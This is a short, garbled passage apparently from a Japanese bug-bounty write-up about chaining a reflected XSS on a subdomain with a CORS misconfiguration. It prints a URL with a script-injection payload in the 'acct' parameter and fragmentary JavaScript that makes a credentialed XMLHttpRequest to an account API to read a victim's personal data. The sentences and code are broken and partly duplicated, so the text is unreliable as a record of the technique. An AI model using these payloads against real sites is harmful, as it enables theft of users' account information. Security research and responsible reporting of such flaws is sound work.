ext:jsp次に、URLを開いてソースページで非表示の文字列を見つけて。反映されていないかどうかを確認することに。そこのサブドメインに反映されたxssが見つかると。それを悪用するのが簡単になって。https://test.attacker.com/patter.jsp?acct="><script>alert(document.domain)</script>概念実証を作成して、レポートを送信することに。POC時間:このCORSの設定ミスを悪用するには。XSSペイロードアラート(document.domain)を。下記のコードに置き換える必要があって。true;xhttp.send();}cors();⇩下記のように。alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.attacker.com/api/account",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>下記が、漏洩した個人情報で。取り除く:HackerOneでこのタイプのCORSの設定ミスを説明する多くのレポートを。見つけることができるもののPoCがないため、完全に活用できたのはごくわずかで。それが自分の経験を共有したかった理由の1つで。CORSの設定ミスを楽しむを。(3)引用をストックしましたストック一覧を見る閉じる引用するにはまずログインしてくださいログイン閉じる引用をストックできませんでした。再度お試しください閉じる限定公開記事のため引用できません。